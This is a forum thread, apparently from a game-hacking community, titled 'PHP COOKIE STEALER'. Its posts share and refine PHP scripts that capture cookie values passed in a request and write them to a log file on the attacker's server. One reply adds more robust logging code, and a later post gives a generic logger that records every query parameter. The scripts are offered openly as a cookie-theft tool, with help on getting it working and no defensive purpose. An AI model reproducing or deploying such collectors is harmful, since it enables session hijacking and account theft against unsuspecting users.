Results 1 to 7 of 7
  1. #1
    kibbles18's Avatar
    Join Date
    Oct 2008
    Gender
    male
    Location
    US
    Posts
    860
    Reputation
    5
    Thanks
    127

    PHP COOKIE STEALER

    YUMM I LUV C0OKEIES
    I cant get it to work.
    How do i access it?
    code:
    Code:
    <?php
    $cookie = $HTTP_GET_VARS["cookie"];
    chmod("log.txt", 777);
    $log = fopen('log.txt', 'a');
    fwrite($log, $cookie . "\n\n");
    fclose($log);
    ?>

  2. #2
    Jason's Avatar
    Join Date
    Apr 2010
    Gender
    male
    Location
    /dev/null
    Posts
    5,704
    Reputation
    918
    Thanks
    7,676
    My Mood
    Mellow
    cookies have their own superglobal:

    [highlight=php]
    //simplest version:
    file_put_contents("log.txt", print_r($_COOKIE, true));

    //more control
    $cookieFile = fopen("log.txt", "wb");
    if ( $cookieFile )
    {
    foreach($_COOKIE as $k => $v)
    fwrite($cookieFile, "$k => $v\n");
    }
    @fclose($cookieFile);
    [/highlight]

    @kibbles18

    Quote Originally Posted by Jeremy S. Anderson
    There are only two things to come out of Berkley, Unix and LSD,
    and I dont think this is a coincidence
    You can win the rat race,
    But you're still nothing but a fucking RAT.


    ++Latest Projects++
    [Open Source] Injection Library
    Simple PE Cipher
    FilthyHooker - Simple Hooking Class
    CLR Injector - Inject .NET dlls with ease
    Simple Injection - An in-depth look
    MPGH's .NET SDK
    eJect - Simple Injector
    Basic PE Explorer (BETA)

  3. #3
    Paul's Avatar
    Join Date
    Mar 2011
    Gender
    male
    Posts
    6,296
    Reputation
    473
    Thanks
    1,061
    My Mood
    Sleepy
    Quote Originally Posted by Jason View Post
    cookies have their own superglobal:

    [highlight=php]
    //simplest version:
    file_put_contents("log.txt", print_r($_COOKIE, true));

    //more control
    $cookieFile = fopen("log.txt", "wb");
    if ( $cookieFile )
    {
    foreach($_COOKIE as $k => $v)
    fwrite($cookieFile, "$k => $v\n");
    }
    @fclose($cookieFile);
    [/highlight]

    @kibbles18
    wont this make your site suspicious`?


  4. #4
    Jason's Avatar
    Join Date
    Apr 2010
    Gender
    male
    Location
    /dev/null
    Posts
    5,704
    Reputation
    918
    Thanks
    7,676
    My Mood
    Mellow
    Quote Originally Posted by Paul View Post


    wont this make your site suspicious`?
    Just answering the question. Also, logging your own cookies onto your own server isn't really suspicious.

    Quote Originally Posted by Jeremy S. Anderson
    There are only two things to come out of Berkley, Unix and LSD,
    and I dont think this is a coincidence
    You can win the rat race,
    But you're still nothing but a fucking RAT.


    ++Latest Projects++
    [Open Source] Injection Library
    Simple PE Cipher
    FilthyHooker - Simple Hooking Class
    CLR Injector - Inject .NET dlls with ease
    Simple Injection - An in-depth look
    MPGH's .NET SDK
    eJect - Simple Injector
    Basic PE Explorer (BETA)

  5. #5
    Paul's Avatar
    Join Date
    Mar 2011
    Gender
    male
    Posts
    6,296
    Reputation
    473
    Thanks
    1,061
    My Mood
    Sleepy
    Quote Originally Posted by Jason View Post


    Just answering the question. Also, logging your own cookies onto your own server isn't really suspicious.
    one of my site was suspicious for no reason

    some codes aren't exactly the best ones ^^


  6. #6
    spapia00's Avatar
    Join Date
    Jan 2012
    Gender
    male
    Posts
    19
    Reputation
    10
    Thanks
    0
    this is cool

  7. #7
    [PS]W3bster's Avatar
    Join Date
    Jan 2012
    Gender
    male
    Location
    In a bunker with ossama
    Posts
    19
    Reputation
    10
    Thanks
    3
    My Mood
    Bored
    <?php
    if(!isset($_GET['view']) && count($_GET) !== 0)
    {
    $variables = array_keys($_GET);
    $values = array_values($_GET);
    for($i=0;$i<count($_GET);$i++)
    {
    $checkFirst = ($i==0)?"":" = ";
    $checkLast = ($i==count($_GET))?"<br><hr><br>\n":"<br>";
    file_put_contents(substr($_SERVER['SCRIPT_NAME'], strpos($_SERVER['SCRIPT_NAME'], '/')+1), htmlentities($variables[$i].$checkFirst.$values[$i]).$checkLast, FILE_APPEND);
    }
    die();
    }

Similar Threads

  1. Process_promocode.php[code]
    By ferrar1000 in forum WarRock - International Hacks
    Replies: 22
    Last Post: 10-02-2007, 06:55 PM
  2. real ********** stealer
    By llvengancell in forum WarRock - International Hacks
    Replies: 4
    Last Post: 09-24-2007, 05:36 PM
  3. Cookies 4 Everyone
    By AthlaS in forum Spammers Corner
    Replies: 18
    Last Post: 02-25-2007, 11:46 AM
  4. Cookies
    By Severed in forum Spammers Corner
    Replies: 7
    Last Post: 12-11-2006, 05:34 PM
  5. cookie stealing
    By ace76543 in forum Game Hacking Tutorials
    Replies: 6
    Last Post: 08-31-2006, 12:28 AM